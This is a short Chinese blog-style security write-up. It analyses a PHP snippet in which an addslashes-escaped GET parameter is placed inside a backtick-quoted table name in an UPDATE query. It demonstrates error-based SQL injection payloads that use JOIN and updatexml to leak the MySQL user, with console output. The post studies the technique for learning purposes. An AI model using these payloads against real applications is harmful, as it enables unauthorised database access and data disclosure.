昨天在小密圈看到ph师傅发了一段code,当时想的是利用join方法去进行报错注入,结果晚上一看,乐师傅已经解决了QAQ(膜,自己也写一下关于这段code的分析:

code区域:

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
       SET `username`='admin'
       WHERE id=1";
if(!mysqli_query($link, $sql)) {
    echo(mysqli_error($link));
}

mysqli_close($link);

我们要注意的点是两个:

1---$_GET['table']在拼接进sql语句前会经过addslashes的处理

也就是对于下列预定义字符是会添加\:

单引号(')
双引号(")
反斜杠(\)
NULL

2---update的话,进行报错注入是最为靠谱的

在mysql控制台进行测试:

mysql> UPDATE `mytable` join (select updatexml(1,concat(0x23,user()),1))b  SET `username`='admin' WHERE sex=1;
ERROR 1105 (HY000): XPATH syntax error: '#root@localhost'

但是这样显然是不行的,因为我们可控的在第一个``中,于是在后面再加入一个join操作就OK:

mysql> UPDATE `mytable` join (select updatexml(1,concat(0x23,user()),1))b join `mytable` `b` SET `username`='admin' WHERE sex=1;
ERROR 1105 (HY000): XPATH syntax error: '#root@localhost'

实际测试下:

源链接

Hacking more

...